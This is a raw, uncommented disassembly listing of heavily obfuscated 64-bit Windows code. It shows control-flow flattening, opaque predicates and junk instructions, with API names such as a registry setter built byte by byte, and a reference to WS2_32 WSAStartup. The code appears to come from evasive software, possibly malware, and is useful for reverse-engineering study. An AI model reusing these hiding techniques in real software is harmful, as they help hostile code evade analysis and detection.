cmp edx, 0xeb1dc982
jne 0x1800385a0
mov ecx, dword [rbp + 0xf8]
mov edx, 0x9c671e68
jmp 0x1800385a0
mov byte [rbp + 0xf8], cl
mov cl, byte [rbp + 0xf8]
mov byte [rax + 5], cl
mov dword [rbp + 0x100], WSAStartup
mov ecx, 0x77906a8
nop
cmp ecx, 0x77906a8
je 0x1800385f5
cmp ecx, 0xd85e0dcf
jne 0x1800385e0
jmp 0x18003878c
mov ecx, 0xd85e0dcf
jmp 0x1800385e0
mov word [rbp + 0xf0], cx
movzx ecx, word [rbp + 0xf0]
mov edx, dword [rbp + 0xe8]
add dx, cx
mov word [rax + 2], dx
mov dword [rbp + 0xe8], 0x20
mov edx, 0xb00971f2
nop word cs:[rax + rax]
cmp edx, 0xe22e0eda
je 0x1800387d7
cmp edx, 0xb00971f2
jne 0x180038630
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x180038662
cmp ecx, 0x66b4b012
jne 0x180038650
jmp 0x180038669
mov ecx, 0x66b4b012
jmp 0x180038650
mov word [rbp + 0xf0], 1
movzx ecx, word [rbp + 0xf0]
mov edx, 0xe22e0eda
jmp 0x180038630
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x1a], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x1800386d0
cmp eax, 0x35970d82
je 0x180038860
cmp eax, 0x51578b1e
je 0x1800386e3
cmp eax, 0x5c7aabd7
jne 0x1800386a0
mov eax, 0x2963d5c2
jmp 0x1800386a0
cmp eax, 0x801a95b8
je 0x180038707
cmp eax, 0x2963d5c2
jne 0x1800386a0
mov eax, r10d
jmp 0x1800386a0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180038700
cmp eax, 0x8cebb28b
jne 0x1800386f0
jmp 0x180038727
mov eax, 0x8cebb28b
jmp 0x1800386f0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180038720
cmp eax, 0x8cebb28b
jne 0x180038710
jmp 0x18003873f
mov eax, 0x8cebb28b
jmp 0x180038710
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x1800386a0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0xd
xor esi, 0x68
mov eax, r11d
jmp 0x1800386a0
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 5], cl
mov ecx, 0x97fb8291
nop
cmp ecx, 0x97fb8291
je 0x180038785
cmp ecx, 0xdd5a4a6e
jne 0x180038770
jmp 0x18003893b
mov ecx, 0xdd5a4a6e
jmp 0x180038770
mov byte [rbp + 0x110], 7
movsx ecx, byte [rbp + 0x110]
mov dword [rbp + 0x110], ecx
mov edx, 0xedca38df
nop word cs:[rax + rax]
nop
cmp edx, 0x3ff8290f
je 0x1800389a1
cmp edx, 0xedca38df
jne 0x1800387b0
mov ecx, dword [rbp + 0x100]
add ecx, dword [rbp + 0x110]
mov edx, 0x3ff8290f
jmp 0x1800387b0
mov word [rbp + 0xf0], cx
movzx ecx, word [rbp + 0xf0]
mov edx, dword [rbp + 0xe8]
add dx, cx
mov word [rax + 4], dx
mov dword [rbp + 0xe8], 0x25
mov edx, 0xb00971f2
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xe22e0eda
je 0x1800389dc
cmp edx, 0xb00971f2
jne 0x180038810
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x180038842
cmp ecx, 0x66b4b012
jne 0x180038830
jmp 0x180038849
mov ecx, 0x66b4b012
jmp 0x180038830
mov word [rbp + 0xf0], 1
movzx ecx, word [rbp + 0xf0]
mov edx, 0xe22e0eda
jmp 0x180038810
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x1c], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x1800388b0
cmp eax, 0x35970d82
je 0x180038a60
cmp eax, 0x51578b1e
je 0x1800388c3
cmp eax, 0x5c7aabd7
jne 0x180038880
mov eax, 0x2963d5c2
jmp 0x180038880
cmp eax, 0x801a95b8
je 0x1800388e7
cmp eax, 0x2963d5c2
jne 0x180038880
mov eax, r10d
jmp 0x180038880
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x1800388e0
cmp eax, 0x8cebb28b
jne 0x1800388d0
jmp 0x180038907
mov eax, 0x8cebb28b
jmp 0x1800388d0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180038900
cmp eax, 0x8cebb28b
jne 0x1800388f0
jmp 0x18003891f
mov eax, 0x8cebb28b
jmp 0x1800388f0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x180038880
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0xe
xor esi, 0x65
mov eax, r11d
jmp 0x180038880
mov dword [rbp + 0xf8], 0x3f
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x6d
mov dword [rbp + 0xf8], ecx
mov edx, 0xeb1dc982
nop word cs:[rax + rax]
cmp edx, 0x9c671e68
je 0x180038b3b
cmp edx, 0xeb1dc982
jne 0x180038980
mov ecx, dword [rbp + 0xf8]
mov edx, 0x9c671e68
jmp 0x180038980
mov byte [rbp + 0xf8], cl
mov cl, byte [rbp + 0xf8]
mov byte [rax + 6], cl
mov dword [rbp + 0x100], 0x79
mov ecx, 0x77906a8
nop
cmp ecx, 0x77906a8
je 0x1800389d5
cmp ecx, 0xd85e0dcf
jne 0x1800389c0
jmp 0x180038b6c
mov ecx, 0xd85e0dcf
jmp 0x1800389c0
mov word [rbp + 0xf0], cx
movzx ecx, word [rbp + 0xf0]
mov edx, dword [rbp + 0xe8]
add dx, cx
mov word [rax + 6], dx
mov dword [rbp + 0xe8], reloc.WS2_32.dll_WSAStartup
mov edx, 0xb00971f2
nop word cs:[rax + rax]
cmp edx, 0xe22e0eda
je 0x180038bb7
cmp edx, 0xb00971f2
jne 0x180038a10
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x180038a42
cmp ecx, 0x66b4b012
jne 0x180038a30
jmp 0x180038a49
mov ecx, 0x66b4b012
jmp 0x180038a30
mov word [rbp + 0xf0], 1
movzx ecx, word [rbp + 0xf0]
mov edx, 0xe22e0eda
jmp 0x180038a10
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x1e], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x180038ab0
cmp eax, 0x35970d82
je 0x180038edd
cmp eax, 0x51578b1e
je 0x180038ac3
cmp eax, 0x5c7aabd7
jne 0x180038a80
mov eax, 0x2963d5c2
jmp 0x180038a80
cmp eax, 0x801a95b8
je 0x180038ae7
cmp eax, 0x2963d5c2
jne 0x180038a80
mov eax, r10d
jmp 0x180038a80
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180038ae0
cmp eax, 0x8cebb28b
jne 0x180038ad0
jmp 0x180038b07
mov eax, 0x8cebb28b
jmp 0x180038ad0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180038b00
cmp eax, 0x8cebb28b
jne 0x180038af0
jmp 0x180038b1f
mov eax, 0x8cebb28b
jmp 0x180038af0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x180038a80
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0xf
xor esi, 0x44
mov eax, r11d
jmp 0x180038a80
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 6], cl
mov ecx, 0x97fb8291
nop
cmp ecx, 0x97fb8291
je 0x180038b65
cmp ecx, 0xdd5a4a6e
jne 0x180038b50
jmp 0x180038fbb
mov ecx, 0xdd5a4a6e
jmp 0x180038b50
mov byte [rbp + 0x110], 7
movsx ecx, byte [rbp + 0x110]
mov dword [rbp + 0x110], ecx
mov edx, 0xedca38df
nop word cs:[rax + rax]
nop
cmp edx, 0x3ff8290f
je 0x180039021
cmp edx, 0xedca38df
jne 0x180038b90
mov ecx, dword [rbp + 0x100]
add ecx, dword [rbp + 0x110]
mov edx, 0x3ff8290f
jmp 0x180038b90
mov word [rbp + 0xf0], cx
movzx ecx, word [rbp + 0xf0]
mov edx, dword [rbp + 0xe8]
add dx, cx
mov word [rax + 8], dx
mov word [rax + 0xa], 0
mov rax, qword [rbp + 0x60]
mov edx, 0x628596d0
jmp 0x180038c10
mov rcx, qword [rbp + 0x100]
movzx edx, word [rbp + 0xc8]
mov word [rcx], dx
mov rcx, qword [rbp + 0x110]
add rcx, 1
mov edx, 0x272ce632
nop word cs:[rax + rax]
nop
cmp edx, 0x272ce631
jg 0x180038c50
cmp edx, 0xea94b019
jle 0x180038c70
cmp edx, 0xea94b01a
je 0x180038be3
cmp edx, 0xf7ffd579
jne 0x180038d70
mov qword [rbp + 0xf8], rax
mov edx, 0x6828af18
jmp 0x180038c10
cmp edx, 0x6828af17
jg 0x180038ca0
cmp edx, 0x272ce632
je 0x180038cc0
cmp edx, 0x628596d0
jne 0x180038c10
mov edx, 0x70641173
jmp 0x180038c10
cmp edx, 0x94a11158
je 0x180038cdf
cmp edx, 0x9fe43e6f
jne 0x180038c10
mov rdx, qword [rbp + 0xf0]
mov qword [rbp + 0xe8], rdx
mov edx, 0xee3ec65b
jmp 0x180038c10
cmp edx, 0x6828af18
je 0x180038cf0
cmp edx, 0x70641173
jne 0x180038c10
mov edx, 0x272ce632
xor ecx, ecx
jmp 0x180038c10
mov qword [rbp + 0x110], rcx
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x12
mov edx, 0x94a11158
cmovb edx, esi
jmp 0x180038c10
mov qword [rbp + 0xf0], rax
mov edx, 0x9fe43e6f
jmp 0x180038c10
mov rdx, qword [rbp + 0xf8]
mov rbx, qword [rbp + 0x110]
lea rdx, [rdx + rbx*2]
mov qword [rbp + 0x100], rdx
mov rdx, qword [rbp + 0x100]
movzx edx, word [rdx]
mov edi, 0xc0620fc4
nop dword [rax + rax]
cmp edi, 0x11ed281
je 0x180038d47
cmp edi, 0xc0620fc4
jne 0x180038d20
mov word [rbp + 0xd8], 1
movzx ebx, word [rbp + 0xd8]
mov edi, 0x11ed281
jmp 0x180038d20
mov dword [rbp + 0xd0], edx
mov dword [rbp + 0xd8], ebx
mov edx, dword [rbp + 0xd0]
sub edx, dword [rbp + 0xd8]
mov word [rbp + 0xc8], dx
mov edx, 0xea94b01a
jmp 0x180038c10
cmp edx, 0xee3ec65b
jne 0x180038c10
mov rdx, qword [rbp + 0xe8]
sub rsp, 0x20
lea rcx, [rbp + 0x9b0]
lea r8, [rbp + 0x1b0]
call fcn.18003e980
add rsp, 0x20
mov rax, qword [rbp + 0x58]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
mov rcx, qword [rbp + 0x58]
mov qword [rbp + 0xf8], rcx
mov eax, dword [0x180129a60]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180129a64], 0xa
setl dl
or dl, al
mov edi, 0xc9ef0e73
mov r9d, 0x792cac31
cmovne edi, r9d
mov edx, 0xc9ef0e73
mov r10d, 0x463efdc1
cmovne edx, r10d
mov eax, 0x7d1e8039
nop word cs:[rax + rax]
cmp eax, 0x463efdc0
jle 0x180038e60
cmp eax, 0x463efdc1
je 0x180038e72
cmp eax, 0x792cac31
je 0x18003905c
cmp eax, 0x7d1e8039
jne 0x180038e00
mov dword [rbp + 0x100], 0x52
mov dword [rbp + 0x110], 0
mov esi, 0x316f5b4b
nop dword [rax]
cmp esi, 0x7ef6fb8a
je 0x180038e87
cmp esi, 0x316f5b4b
jne 0x180038e40
mov eax, dword [rbp + 0x110]
mov esi, 0x7ef6fb8a
jmp 0x180038e40
cmp eax, 0xc9ef0e73
je 0x180038ea3
cmp eax, 0xe5da9711
jne 0x180038e00
mov eax, edx
jmp 0x180038e00
mov al, byte [rbp + 0xf0]
mov ebx, dword [rbp + 0x100]
add bl, al
mov eax, edi
jmp 0x180038e00
mov byte [rbp + 0xe8], al
mov al, byte [rbp + 0xe8]
mov byte [rbp + 0xf0], al
mov eax, 0xe5da9711
jmp 0x180038e00
mov al, byte [rbp + 0xf0]
mov eax, dword [rbp + 0x100]
mov eax, dword [rbp + 0x100]
mov eax, dword [rbp + 0x100]
mov eax, dword [rbp + 0x100]
mov eax, dword [rbp + 0x100]
mov eax, dword [rbp + 0x100]
mov eax, dword [rbp + 0x100]
mov eax, 0x463efdc1
jmp 0x180038e00
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x20], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x180038f30
cmp eax, 0x35970d82
je 0x180039d72
cmp eax, 0x51578b1e
je 0x180038f43
cmp eax, 0x5c7aabd7
jne 0x180038f00
mov eax, 0x2963d5c2
jmp 0x180038f00
cmp eax, 0x801a95b8
je 0x180038f67
cmp eax, 0x2963d5c2
jne 0x180038f00
mov eax, r10d
jmp 0x180038f00
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180038f60
cmp eax, 0x8cebb28b
jne 0x180038f50
jmp 0x180038f87
mov eax, 0x8cebb28b
jmp 0x180038f50
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180038f80
cmp eax, 0x8cebb28b
jne 0x180038f70
jmp 0x180038f9f
mov eax, 0x8cebb28b
jmp 0x180038f70
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x180038f00
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x10
xor esi, 0x42
mov eax, r11d
jmp 0x180038f00
mov dword [rbp + 0xf8], 0x3f
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x65
mov dword [rbp + 0xf8], ecx
mov edx, 0xeb1dc982
nop word cs:[rax + rax]
cmp edx, 0x9c671e68
je 0x180039e4b
cmp edx, 0xeb1dc982
jne 0x180039000
mov ecx, dword [rbp + 0xf8]
mov edx, 0x9c671e68
jmp 0x180039000
mov byte [rbp + 0xf8], cl
mov cl, byte [rbp + 0xf8]
mov byte [rax + 7], cl
mov dword [rbp + 0x100], 0x56
mov ecx, 0x77906a8
nop
cmp ecx, 0x77906a8
je 0x180039055
cmp ecx, 0xd85e0dcf
jne 0x180039040
jmp 0x180039e7c
mov ecx, 0xd85e0dcf
jmp 0x180039040
mov byte [rbp + 0x110], bl
mov al, byte [rbp + 0x110]
mov rdx, qword [rbp + 0xf8]
mov byte [rdx], al
mov eax, 0x344fcc87
nop word cs:[rax + rax]
cmp eax, 0xcb17a2d2
je 0x180039ec7
cmp eax, 0x344fcc87
jne 0x180039080
mov r8, qword [rbp + 0xf8]
mov eax, dword [0x180129a60]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180129a64], 0xa
setl dl
or dl, al
mov esi, 0xc9ef0e73
cmovne esi, r9d
mov ebx, 0xc9ef0e73
cmovne ebx, r10d
mov edx, 0x7d1e8039
nop
cmp edx, 0x463efdc0
jle 0x180039130
cmp edx, 0x463efdc1
je 0x180039144
cmp edx, 0x792cac31
je 0x1800391b0
cmp edx, 0x7d1e8039
jne 0x1800390d0
mov dword [rbp + 0xf0], 0x65
mov dword [rbp + 0xe8], 0
mov eax, 0x316f5b4b
nop dword [rax]
cmp eax, 0x7ef6fb8a
je 0x18003915a
cmp eax, 0x316f5b4b
jne 0x180039110
mov edx, dword [rbp + 0xe8]
mov eax, 0x7ef6fb8a
jmp 0x180039110
cmp edx, 0xc9ef0e73
je 0x180039176
cmp edx, 0xe5da9711
jne 0x1800390d0
mov edx, ebx
jmp 0x1800390d0
mov al, byte [rbp + 0xd0]
mov edi, dword [rbp + 0xf0]
add dil, al
mov edx, esi
jmp 0x1800390d0
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], al
mov edx, 0xe5da9711
jmp 0x1800390d0
mov al, byte [rbp + 0xd0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x463efdc1
jmp 0x1800390d0
mov byte [rbp + 0xe8], dil
mov al, byte [rbp + 0xe8]
mov byte [r8 + 1], al
mov eax, dword [0x180129a60]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180129a64], 0xa
setl dl
or dl, al
mov esi, 0xc9ef0e73
cmovne esi, r9d
mov ebx, 0xc9ef0e73
cmovne ebx, r10d
mov edx, 0x7d1e8039
nop word cs:[rax + rax]
cmp edx, 0x463efdc0
jle 0x180039260
cmp edx, 0x463efdc1
je 0x180039274
cmp edx, 0x792cac31
je 0x1800392e0
cmp edx, 0x7d1e8039
jne 0x180039200
mov dword [rbp + 0xf0], 0x67
mov dword [rbp + 0xe8], 0
mov eax, 0x316f5b4b
nop dword [rax]
cmp eax, 0x7ef6fb8a
je 0x18003928a
cmp eax, 0x316f5b4b
jne 0x180039240
mov edx, dword [rbp + 0xe8]
mov eax, 0x7ef6fb8a
jmp 0x180039240
cmp edx, 0xc9ef0e73
je 0x1800392a6
cmp edx, 0xe5da9711
jne 0x180039200
mov edx, ebx
jmp 0x180039200
mov al, byte [rbp + 0xd0]
mov edi, dword [rbp + 0xf0]
add dil, al
mov edx, esi
jmp 0x180039200
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], al
mov edx, 0xe5da9711
jmp 0x180039200
mov al, byte [rbp + 0xd0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x463efdc1
jmp 0x180039200
mov byte [rbp + 0xe8], dil
mov al, byte [rbp + 0xe8]
mov byte [r8 + 2], al
mov eax, dword [0x180129a60]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180129a64], 0xa
setl dl
or dl, al
mov esi, 0xc9ef0e73
cmovne esi, r9d
mov ebx, 0xc9ef0e73
cmovne ebx, r10d
mov edx, 0x7d1e8039
nop word cs:[rax + rax]
cmp edx, 0x463efdc0
jle 0x180039390
cmp edx, 0x463efdc1
je 0x1800393a4
cmp edx, 0x792cac31
je 0x180039410
cmp edx, 0x7d1e8039
jne 0x180039330
mov dword [rbp + 0xf0], 0x53
mov dword [rbp + 0xe8], 0
mov eax, 0x316f5b4b
nop dword [rax]
cmp eax, 0x7ef6fb8a
je 0x1800393ba
cmp eax, 0x316f5b4b
jne 0x180039370
mov edx, dword [rbp + 0xe8]
mov eax, 0x7ef6fb8a
jmp 0x180039370
cmp edx, 0xc9ef0e73
je 0x1800393d6
cmp edx, 0xe5da9711
jne 0x180039330
mov edx, ebx
jmp 0x180039330
mov al, byte [rbp + 0xd0]
mov edi, dword [rbp + 0xf0]
add dil, al
mov edx, esi
jmp 0x180039330
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], al
mov edx, 0xe5da9711
jmp 0x180039330
mov al, byte [rbp + 0xd0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x463efdc1
jmp 0x180039330
mov byte [rbp + 0xe8], dil
mov al, byte [rbp + 0xe8]
mov byte [r8 + 3], al
mov eax, dword [0x180129a60]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180129a64], 0xa
setl dl
or dl, al
mov esi, 0xc9ef0e73
cmovne esi, r9d
mov edi, 0xc9ef0e73
cmovne edi, r10d
mov edx, 0x7d1e8039
nop word cs:[rax + rax]
cmp edx, 0x463efdc0
jle 0x1800394c0
cmp edx, 0x463efdc1
je 0x1800394d4
cmp edx, 0x792cac31
je 0x18003953f
cmp edx, 0x7d1e8039
jne 0x180039460
mov dword [rbp + 0xf0], 0x65
mov dword [rbp + 0xe8], 0
mov eax, 0x316f5b4b
nop dword [rax]
cmp eax, 0x7ef6fb8a
je 0x1800394e9
cmp eax, 0x316f5b4b
jne 0x1800394a0
mov edx, dword [rbp + 0xe8]
mov eax, 0x7ef6fb8a
jmp 0x1800394a0
cmp edx, 0xc9ef0e73
je 0x180039505
cmp edx, 0xe5da9711
jne 0x180039460
mov edx, edi
jmp 0x180039460
mov al, byte [rbp + 0xd0]
mov ebx, dword [rbp + 0xf0]
add bl, al
mov edx, esi
jmp 0x180039460
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], al
mov edx, 0xe5da9711
jmp 0x180039460
mov al, byte [rbp + 0xd0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x463efdc1
jmp 0x180039460
mov byte [rbp + 0xe8], bl
mov al, byte [rbp + 0xe8]
mov byte [r8 + 4], al
mov edx, 0x7d1e8039
nop word cs:[rax + rax]
nop
cmp edx, 0x463efdc0
jle 0x1800395c0
cmp edx, 0x463efdc1
je 0x1800395d4
cmp edx, 0x792cac31
je 0x18003963f
cmp edx, 0x7d1e8039
jne 0x180039560
mov dword [rbp + 0xf0], 0x74
mov dword [rbp + 0xe8], 0
mov eax, 0x316f5b4b
nop dword [rax]
cmp eax, 0x7ef6fb8a
je 0x1800395e9
cmp eax, 0x316f5b4b
jne 0x1800395a0
mov edx, dword [rbp + 0xe8]
mov eax, 0x7ef6fb8a
jmp 0x1800395a0
cmp edx, 0xc9ef0e73
je 0x180039605
cmp edx, 0xe5da9711
jne 0x180039560
mov edx, edi
jmp 0x180039560
mov al, byte [rbp + 0xd0]
mov ebx, dword [rbp + 0xf0]
add bl, al
mov edx, esi
jmp 0x180039560
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], al
mov edx, 0xe5da9711
jmp 0x180039560
mov al, byte [rbp + 0xd0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x463efdc1
jmp 0x180039560
mov byte [rbp + 0xe8], bl
mov al, byte [rbp + 0xe8]
mov byte [r8 + 5], al
mov edx, 0x7d1e8039
nop word cs:[rax + rax]
nop
cmp edx, 0x463efdc0
jle 0x1800396c0
cmp edx, 0x463efdc1
je 0x1800396d4
cmp edx, 0x792cac31
je 0x18003973f
cmp edx, 0x7d1e8039
jne 0x180039660
mov dword [rbp + 0xf0], 0x56
mov dword [rbp + 0xe8], 0
mov eax, 0x316f5b4b
nop dword [rax]
cmp eax, 0x7ef6fb8a
je 0x1800396e9
cmp eax, 0x316f5b4b
jne 0x1800396a0
mov edx, dword [rbp + 0xe8]
mov eax, 0x7ef6fb8a
jmp 0x1800396a0
cmp edx, 0xc9ef0e73
je 0x180039705
cmp edx, 0xe5da9711
jne 0x180039660
mov edx, edi
jmp 0x180039660
mov al, byte [rbp + 0xd0]
mov ebx, dword [rbp + 0xf0]
add bl, al
mov edx, esi
jmp 0x180039660
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], al
mov edx, 0xe5da9711
jmp 0x180039660
mov al, byte [rbp + 0xd0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x463efdc1
jmp 0x180039660
mov byte [rbp + 0xe8], bl
mov al, byte [rbp + 0xe8]
mov byte [r8 + 6], al
mov edx, 0x7d1e8039
nop word cs:[rax + rax]
nop
cmp edx, 0x463efdc0
jle 0x1800397c0
cmp edx, 0x463efdc1
je 0x1800397d4
cmp edx, 0x792cac31
je 0x18003983f
cmp edx, 0x7d1e8039
jne 0x180039760
mov dword [rbp + 0xf0], 0x61
mov dword [rbp + 0xe8], 0
mov eax, 0x316f5b4b
nop dword [rax]
cmp eax, 0x7ef6fb8a
je 0x1800397e9
cmp eax, 0x316f5b4b
jne 0x1800397a0
mov edx, dword [rbp + 0xe8]
mov eax, 0x7ef6fb8a
jmp 0x1800397a0
cmp edx, 0xc9ef0e73
je 0x180039805
cmp edx, 0xe5da9711
jne 0x180039760
mov edx, edi
jmp 0x180039760
mov al, byte [rbp + 0xd0]
mov ebx, dword [rbp + 0xf0]
add bl, al
mov edx, esi
jmp 0x180039760
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], al
mov edx, 0xe5da9711
jmp 0x180039760
mov al, byte [rbp + 0xd0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x463efdc1
jmp 0x180039760
mov byte [rbp + 0xe8], bl
mov al, byte [rbp + 0xe8]
mov byte [r8 + 7], al
mov edx, 0x7d1e8039
nop word cs:[rax + rax]
nop
cmp edx, 0x463efdc0
jle 0x1800398c0
cmp edx, 0x463efdc1
je 0x1800398d4
cmp edx, 0x792cac31
je 0x18003993f
cmp edx, 0x7d1e8039
jne 0x180039860
mov dword [rbp + 0xf0], WSAStartup
mov dword [rbp + 0xe8], 0
mov eax, 0x316f5b4b
nop dword [rax]
cmp eax, 0x7ef6fb8a
je 0x1800398e9
cmp eax, 0x316f5b4b
jne 0x1800398a0
mov edx, dword [rbp + 0xe8]
mov eax, 0x7ef6fb8a
jmp 0x1800398a0
cmp edx, 0xc9ef0e73
je 0x180039905
cmp edx, 0xe5da9711
jne 0x180039860
mov edx, edi
jmp 0x180039860
mov al, byte [rbp + 0xd0]
mov ebx, dword [rbp + 0xf0]
add bl, al
mov edx, esi
jmp 0x180039860
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], al
mov edx, 0xe5da9711
jmp 0x180039860
mov al, byte [rbp + 0xd0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x463efdc1
jmp 0x180039860
mov byte [rbp + 0xe8], bl
mov al, byte [rbp + 0xe8]
mov byte [r8 + 8], al
mov edx, 0x7d1e8039
nop word cs:[rax + rax]
nop
cmp edx, 0x463efdc0
jle 0x1800399c0
cmp edx, 0x463efdc1
je 0x1800399d4
cmp edx, 0x792cac31
je 0x180039a3f
cmp edx, 0x7d1e8039
jne 0x180039960
mov dword [rbp + 0xf0], 0x75
mov dword [rbp + 0xe8], 0
mov eax, 0x316f5b4b
nop dword [rax]
cmp eax, 0x7ef6fb8a
je 0x1800399e9
cmp eax, 0x316f5b4b
jne 0x1800399a0
mov edx, dword [rbp + 0xe8]
mov eax, 0x7ef6fb8a
jmp 0x1800399a0
cmp edx, 0xc9ef0e73
je 0x180039a05
cmp edx, 0xe5da9711
jne 0x180039960
mov edx, edi
jmp 0x180039960
mov al, byte [rbp + 0xd0]
mov ebx, dword [rbp + 0xf0]
add bl, al
mov edx, esi
jmp 0x180039960
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], al
mov edx, 0xe5da9711
jmp 0x180039960
mov al, byte [rbp + 0xd0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x463efdc1
jmp 0x180039960
mov byte [rbp + 0xe8], bl
mov al, byte [rbp + 0xe8]
mov byte [r8 + 9], al
mov edx, 0x7d1e8039
nop word cs:[rax + rax]
nop
